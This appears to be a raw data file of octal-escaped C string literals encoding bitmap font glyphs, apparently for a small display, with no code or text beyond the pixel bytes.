"\360\360\340\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\3\3\3\3\3\3\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\300\340\360\360\370xx`\0\0\0\0\0\0\0" "\0\0\200\340\370\374\377\377\77\17\7\3\1\0\0\0\0\0\0\0\0\0\0\0\0\374\377\377\377\377\17\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\37\377\377\377\377\370\200\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\3\17\77\177\377\376\370\360\300\200\200\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\1\3\7\17\17\37\77\36\14\0\0\0\0\0\300\360\360\340\340\300\200\200\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\1\3\7\17\37\77\377\376\374\360\340\200\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\3\37\377\377\377\376\360\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\340\377\377\377\377\77\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\360\370\376" "\377\177\37\17\1\0\0\0\0\0\0\0\0\0<|>\77\37\37\17\7\3\1\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\360\360\360\360\360\0\0\0\0\0\0\0\0\0\0\70>><|xxp\360\377\377\377" "\377\361pxx|<<>\70 \0\0\0@\340\360\370\376\177\77\17\7\3\17\37\177\376\374\370\340\300" "\0\0\0\0\0\0\0\0\1\1\0\0\0\0\0\0\0\0\0\0\1\1\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\370\370\370\370\370\0\0\0\0\0\0" "\0\0\0\0xxxxxxxxx\377\377\377\377\377xxxxxxxx\0\0\0\0\0\0" "\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\1\1" "\1\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\70|\376\376\376\376\374\360\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0 \60x~\77\37\7\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\70|\376\376\376|\70\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\340\360\360\340\340\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\360\374\377\377\77\17\3" "\0\0\0\0\0\0\0\0\0\0\0\0\300\360\374\377\377\177\37\3\0\0\0\0\0\0\0\0\0\0\0\0" "\200\340\374\377\377\177\37\7\1\0\0\0\0\0\0\0\0\0\0\0\0`x\376\377\177\37\7\1\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\200\200\300\300\300\300\300\300\200\200\0\0\0\0\0\0\0\0\0\300\360\374" "\376\377\177\37\17\7\7\7\7\17\337\377\377\376\374\360\300\0\0\0\376\377\377\377\377\3\0\0\200\340\360\370" "~\37\17\7\1\377\377\377\377\376\0\0\7\77\377\377\377\370\374\237\17\7\1\0\0\0\0\300\370\377\377\377" "\177\7\0\0\0\0\0\3\7\17\37\37\77>>>>>\37\37\17\7\3\1\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\300\300" "\300\300\0\0\0\0\0\0\0\0\0\0\0\0\34\34\36\36\17\17\17\377\377\377\377\377\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\77\77\77" "\77\77\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\200\200\200\300\300\300\300\300\300\200\200\0\0\0\0\0\0\0\0\0\10\34" ">\177\37\17\7\7\7\3\7\7\7\17\77\377\377\376\374\360\0\0\0\0\0\0\0\0\0\0\0\0\0\200" "\200\300\340\370\374\377\177\77\17\3\0\0\0\0\0\0\200\340\360\370\374\376\77\37\17\7\7\3\1\0\0\0" "\0\0\0\0\0\0<\77\77\77\77\77=<<<<<<<<<<<>>\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\300\300\300\300\300" "\300\300\200\200\0\0\0\0\0\0\0\0\0\0\6\17\37\17\7\7\7\7\7\7\7\7\37\377\377\376\374\370" "\0\0\0\0\0\0\0\0\0\0xx||||\374\376\377\377\377\347\303\201\0\0\0\0\0\0\0\300" "\300\0\0\0\0\0\0\0\0\0\1\303\377\377\377\377\376\0\0\0\0\6\17\17\37\37>>>>>>" ">>\37\37\17\17\7\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\300\300\300\0\0\0\0\0\0\0\0\0\0" "\0\0\0\200\300\340\370\374\177\377\377\377\377\377\0\0\0\0\0\0\0\0\200\340\360\374\376\77\37\7\3\0" "\0\377\377\377\377\377\0\0\0\0\0\0<\77\77\77\77=<<<<<<<\377\377\377\377\377<<" "<<\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\77\77\77\77\77\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\300\300\300\300\300\300\300\300" "\300\300\300\300\300\300\300\300\300\0\0\0\0\0\0\377\377\377\377\377\3\3\3\3\3\3\3\3\3\3\3\3" "\3\0\0\0\0\0\60\177\177\377\77\77\36\37\37\37\37\37\37>\376\374\374\370\340\200\0\0\0\0\200\300" "\300\300\200\0\0\0\0\0\0\0\0\0\300\377\377\377\377\177\0\0\0\1\3\7\17\37\37\37>>><" ">>>\37\37\17\17\7\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\200\200\300\300\300\300\300\300\300\200\200\0\0\0\0\0\0\0\0\340\370" "\374\376\377\77\17\7\7\7\3\7\7\7\17\17\7\2\2\0\0\0\0\377\377\377\377\377\374>>\37\37\17" "\37\37\77\376\376\374\370\340\200\0\0\0\0\37\377\377\377\377\360\200\0\0\0\0\0\0\0\300\377\377\377\377" "\177\0\0\0\0\0\0\3\7\17\37\37\77>><>>\77\37\37\17\7\1\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\300\300\300\300\300\300\300\300\300" "\300\300\300\300\300\300\300\300\300\0\0\0\0\0\3\3\3\3\3\3\3\3\3\3\3\303\363\377\377\377\77\17" "\3\0\0\0\0\0\0\0\0\0\0\0\0\0\300\370\376\377\377\77\7\1\0\0\0\0\0\0\0\0\0\0" "\0\0\0\300\370\377\377\377\77\7\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\70\77\77\77\77\17\1" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\200\200\300\300\300\300\300\300\300\200\200\0\0\0\0\0\0\0\0\0\370\374" "\376\377\377\17\7\7\7\3\7\7\17\37\377\377\377\374\370\0\0\0\0\0\1\203\317\317\377\377\376|xx" "x\370\374\377\377\317\307\203\0\0\0\0\0\370\376\377\377\377\307\1\0\0\0\0\0\0\1\1\207\377\377\377" "\376\374\0\0\0\0\3\7\17\37\37\37>>><>>>\37\37\17\17\7\3\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\300\300\300\300" "\300\300\200\200\0\0\0\0\0\0\0\0\0\340\370\376\377\377\77\17\7\7\7\7\7\7\37\177\377\376\374\360" "\200\0\0\0\0\17\77\177\377\377\370\360\340\300\300\300\300\340\340\360\377\377\377\377\377\0\0\0\0\0\0\0" "\200\201\3\3\3\3\3\3\3\3\201\361\377\377\377\177\17\0\0\0\0\4\16\17\37\37>>><>>" ">\37\37\17\7\3\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\34>\177\177\177" ">\34\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\70|\376\376\376|\70\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\70|\376\376\376|\70\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\70|\376\376\376" "\376\374\360\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0 \60|\77\77\37\7\3\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\200\200\300\300\340\340\360\360\370\370||>>\37\37\0\70|\374\376\376\377\357\357\307\207\207\3" "\3\1\1\0\0\0\0\0\0\0\0\0\0\0\0\0\1\1\3\3\7\17\17\37\37>>||\370\370\360" "\360\340\340\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\1\3\3\7\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200\200\200\200\200\200\200\200\200\200\200\200\200\200\200\200\200\200" "\200\200\0\0\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\0\0<<<<" "<<<<<<<<<<<<<<<<<<\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\37\37>>" "||\370\370\360\360\340\340\300\300\200\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\1\3\3" "\203\207\307\357\357\377\376\376\374|\70\0\340\340\360\360\370\370||>>\37\37\17\17\7\3\3\1\1\0" "\0\0\0\0\7\3\3\1\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\340\340\340\360\360\360\360" "\360\360\360\340\340\300\200\0\0\0\0\0\0\6\7\17\37\17\3\3\1\1\1\1\1\1\3\207\377\377\377\377" "\374\0\0\0\0\0\0\0\0\0\0\0\0\200\340\360\370\374\376\177\77\37\17\7\1\0\0\0\0\0\0\0" "\0\0\0\0\0\7\207\207\207\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\16\37\77\77" "\77\37\16\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\200\200\300\300\300\300\300\300\300\200\200\0\0\0\0\0\0\0\300\360\374\376" "\177\77\17\17\7\7\7\3\7\207\207\207\217\277\376\374\370\340\0\0\377\377\377\3\0\0\0\360\374\376\376\37" "\17\17\17\17\17\207\377\377\377\377\0\0\77\377\377\374\360\300\200\1\7\17\37\37\36\36\36\36\37\17\37\37" "\37\37\0\0\0\0\1\3\7\17\17\37\37>>>><>>>\36\37\17\14\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\340\300" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\360\374\377\377\377\376\370\300\0\0\0\0\0" "\0\0\0\0\0\0\0\200\340\374\377\377\77\7\0\3\37\177\377\377\370\340\0\0\0\0\0\0\0\340\374\377" "\377\377\37\37\36\36\36\36\36\36\37\77\377\377\377\374\340\200\0\0\77\77\77\37\3\0\0\0\0\0\0\0" "\0\0\0\0\0\7\37\77\77\77< \0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\200\200\0\0\0\0\0\0\0\377\377\377\377" "\377\3\3\3\3\3\7\7\7\7\17\37\377\377\376\374\370\0\0\0\377\377\377\377\377xxxxx||" "|\374\376\377\377\377\317\207\1\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\1\203\377\377\377" "\377\374\0\0\77\77\77\77\77<<<<<<>>>>\37\37\17\17\7\3\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\300\300\300" "\300\300\300\300\200\200\0\0\0\0\0\0\0\300\360\374\376\377\177\37\17\7\7\7\3\7\7\7\17\37\177\177" "~<\60\0\376\377\377\377\377\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\7\77\377\377" "\377\374\340\200\0\0\0\0\0\0\0\0\0\0\300\300\300\200\0\0\0\0\0\3\7\17\17\37\37\77>>" ">>>>\37\37\17\17\7\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\300\300\300\300\300\300\300\300\300\300\300\300\300\200\200\200\0\0\0\0\0\0\0\0\377\377\377\377" "\377\3\3\3\3\7\7\7\7\17\37\177\377\376\374\370\340\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0" "\0\0\0\0\1\377\377\377\377\377\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\200\340\370\377\377\377" "\77\7\0\0\77\77\77\77\77<<<>>>>>\37\37\17\17\7\3\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\300\300\300\300\300\300\300\300\300\300" "\300\300\300\300\300\300\300\300\300\300\0\0\0\377\377\377\377\377\3\3\3\3\3\3\3\3\3\3\3\3\3\3" "\3\3\0\0\0\377\377\377\377\377xxxxxxxxxxxxx\0\0\0\0\0\0\377\377\377" "\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\77\77\77\77\77<<<<<<" "<<<<<<<<<<\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\0\0\0\0\377\377" "\377\377\377\3\3\3\3\3\3\3\3\3\3\3\3\3\3\3\0\0\0\0\377\377\377\377\377xxxxx" "xxxxxxx\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\77\77\77\77\77\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200\300\300" "\300\300\300\300\200\200\200\0\0\0\0\0\0\300\360\374\376\377\77\37\17\7\7\7\7\7\7\7\17\17\77\177" "><\30\0\376\377\377\377\377\1\0\0\0\0\0\0\300\300\300\300\300\300\300\300\300\300\300\0\7\177\377\377" "\377\374\340\200\0\0\0\0\3\3\3\3\3\3\377\377\377\377\377\0\0\0\0\3\7\17\17\37\37>>>" ">>>>>\37\37\37\17\17\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\300\300\300\300\300\0\0\0\0\0\0\0\0\0\0\0\300\300\300\300\300\0\0\0\377\377\377" "\377\377\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\377\377\377\377\377xxxxxx" "xxxxx\377\377\377\377\377\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\377\377\377" "\377\377\0\0\0\77\77\77\77\77\0\0\0\0\0\0\0\0\0\0\0\77\77\77\77\77\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\300\300\300\300\300\300\300\300\300" "\300\300\300\300\300\300\300\0\0\0\0\0\0\0\3\3\3\3\3\3\377\377\377\377\377\3\3\3\3\3\3\0" "\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0<<<<<<\77\77\77\77" "\77<<<<<<<\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\0\0\0\0\0" "\0\0\0\3\3\3\3\3\3\377\377\377\377\377\3\3\3\3\3\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\300\200\0\0\0\0\0\0\0\200\377\377\377\377\377\0\0" "\0\0\0\0\0\6\17\17\37\37>>>>>>\37\37\17\7\3\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\300\300\300\300@\0\0\0\0\0\0" "\0\0\0\0\200\300\300\300\300\300@\0\377\377\377\377\377\0\0\0\0\200\300\360\370\374\376\77\37\17\7\3" "\1\0\0\0\377\377\377\377\377\370|~\377\377\377\347\203\1\0\0\0\0\0\0\0\0\0\0\377\377\377\377" "\377\0\0\0\1\3\17\37\177\377\376\370\360\340\200\0\0\0\0\0\77\77\77\77\77\0\0\0\0\0\0\0" "\0\0\3\7\37\77\77\77<\70\60\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\300\300\300\300\300@\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377" "\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\77\77\77\77\77<<<<<<<<<<<<<<<<\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\300\300\300\200\0\0\0\0\0\0\0" "\0\0\0\0\0\0\200\300\300\300\300\0\377\377\377\377\377\376\370\340\200\0\0\0\0\0\200\340\370\376\377\377" "\377\377\377\0\377\377\377\377\377\1\7\37\177\376\370\340\370\376\77\37\7\1\377\377\377\377\377\0\377\377\377\377" "\377\0\0\0\0\1\7\7\3\0\0\0\0\0\377\377\377\377\377\0\77\77\77\77\77\0\0\0\0\0\0\0" "\0\0\0\0\0\0\77\77\77\77\77\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\300\300\300\300\300\200\0\0\0\0\0\0\0\0\0\0\0\300\300\300\300\300\0\0\377\377\377\377" "\377\177\376\370\340\300\0\0\0\0\0\0\0\377\377\377\377\377\0\0\377\377\377\377\377\0\1\7\37\177\377\374" "\360\300\200\0\0\377\377\377\377\377\0\0\377\377\377\377\377\0\0\0\0\0\1\3\17\77\377\376\370\377\377\377" "\377\377\0\0\77\77\77\77\77\0\0\0\0\0\0\0\0\0\0\3\17\37\77\77\77\77\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\300\300\300\300" "\300\300\300\200\200\0\0\0\0\0\0\0\340\360\374\376\377\77\37\17\7\7\7\7\7\7\17\37\77\377\376\374" "\370\340\0\0\377\377\377\377\1\0\0\0\0\0\0\0\0\0\0\0\0\1\377\377\377\377\377\0\77\377\377\377" "\374\340\200\0\0\0\0\0\0\0\0\0\300\370\377\377\377\177\17\0\0\0\3\7\17\17\37\37>>><" ">>\77\37\37\17\7\3\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\200\200\200\0\0\0\0\0\0\377\377\377" "\377\377\3\3\3\3\3\3\3\7\7\7\17\77\377\377\376\374\360\0\0\377\377\377\377\377\360\360\360\360\360\360" "\360\360\360\370\370\376\177\177\77\17\3\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\77\77\77\77\77\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\300\300\300\300" "\300\300\200\200\200\0\0\0\0\0\0\0\300\360\374\376\377\77\37\17\7\7\7\7\7\7\17\37\77\377\376\374" "\370\340\0\0\377\377\377\377\1\0\0\0\0\0\0\0\0\0\0\0\0\1\377\377\377\377\377\0\177\377\377\377" "\374\300\200\0\0\0\0\0\0\0\0\0\300\370\377\377\377\177\17\0\0\1\3\7\17\37\77\77>\374\374\374" "\374>>\37\37\17\7\3\0\0\0\0\0\0\0\0\0\0\0\0\0\3\7\17\37\37\36\36\36\36\36\36" "\36\0\0\0\0\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\200\200\0\0\0\0\0\0\0\377\377\377" "\377\377\3\3\3\3\3\3\7\7\7\17\37\377\377\376\374\360\0\0\0\377\377\377\377\377\360\360\360\360\360\360" "\360\360\360\370\374\177\77\77\17\3\0\0\0\377\377\377\377\377\0\0\0\0\0\1\7\37\177\377\376\370\340\200" "\0\0\0\0\0\77\77\77\77\77\0\0\0\0\0\0\0\0\0\1\7\37\77\77><\60\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200\300\300\300\300" "\300\300\300\200\200\0\0\0\0\0\0\0\0\360\374\376\377\377\37\17\7\7\7\3\7\7\7\17\37\77\77\36" "\4\0\0\0\0\1\7\17\37\37\77>||x\370\360\360\360\340\340\300\300\200\0\0\0\0\0\200\340\300" "\200\0\0\0\0\0\0\0\0\1\1\3\307\377\377\377\377\374\0\0\3\7\17\17\37\37\36>>><>" ">>>\37\37\17\17\7\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\0\0\3\3\3\3" "\3\3\3\3\377\377\377\377\377\3\3\3\3\3\3\3\3\3\0\0\0\0\0\0\0\0\0\0\377\377\377\377" "\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\77\77\77\77\77\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\300\300\300\300@\0\0\0\0\0\0" "\0\0\0\0\0\300\300\300\300\300\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377" "\377\377\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\177\377\377\377" "\377\300\0\0\0\0\0\0\0\0\0\200\300\377\377\377\377\177\0\0\0\1\7\17\17\37\37\77>>>>" ">>\77\37\37\17\17\7\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\300\300\300\300\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\300\300\300@\7\77\377\377" "\377\370\300\0\0\0\0\0\0\0\0\0\340\374\377\377\177\17\3\0\0\0\1\7\77\377\377\376\360\200\0\0" "\0\200\360\377\377\377\37\3\0\0\0\0\0\0\0\0\0\1\17\177\377\377\374\340\374\377\377\77\7\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\3\17\77\77\77\17\1\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\300\300\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\300\300\300\300\377\377\377\377\300\0\0\0\0\340\376\377\377\370\200\0\0\0\200\377" "\377\377\377\3\3\377\377\377\377\360\0\360\377\377\77\7\177\377\377\374\300\200\377\377\377\77\0\0\0\0\77\377" "\377\377\377\377\77\3\0\0\0\7\177\377\377\377\377\377\17\0\0\0\0\0\0\17\77\77\77\3\0\0\0\0" "\0\0\0\7\77\77\77\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\300\300\300\300\300\200\0\0\0\0\0\0\0\0\0\0\0\300\300\300\300\300\0\0\0\1\7\37" "\177\377\376\370\360\300\0\0\200\340\370\376\377\177\37\7\3\0\0\0\0\0\0\0\0\1\3\217\377\377\377\376" "\377\377\337\7\1\0\0\0\0\0\0\0\0\0\0\200\340\370\376\377\177\37\7\7\17\77\377\377\374\360\340\200" "\0\0\0\0\60<\77\77\77\37\7\1\0\0\0\0\0\0\0\3\17\37\77\77>\70\60\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\300\300\300\300\0\0\0\0\0\0\0" "\0\0\0\0\0\0\300\300\300\300\300\0\1\7\37\177\377\377\374\360\300\0\0\0\0\0\300\360\374\377\377\77" "\17\3\0\0\0\0\0\0\1\7\37\177\377\377\374\360\370\376\377\177\17\3\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\377\377\377\377\377\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\77\77\77" "\77\77\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\0\0\0\3\3\3" "\3\3\3\3\3\3\3\3\3\303\343\373\377\377\177\37\17\3\0\0\0\0\0\0\0\0\0\200\300\360\370\376" "\377\177\37\17\3\0\0\0\0\0\0\0\0\0\200\340\360\374\376\377\177\37\17\3\0\0\0\0\0\0\0\0" "\0\0\0\0<>\77\77\77\77\77<<<<<<<<<<<<<>>\0\0\0\0\0\0" 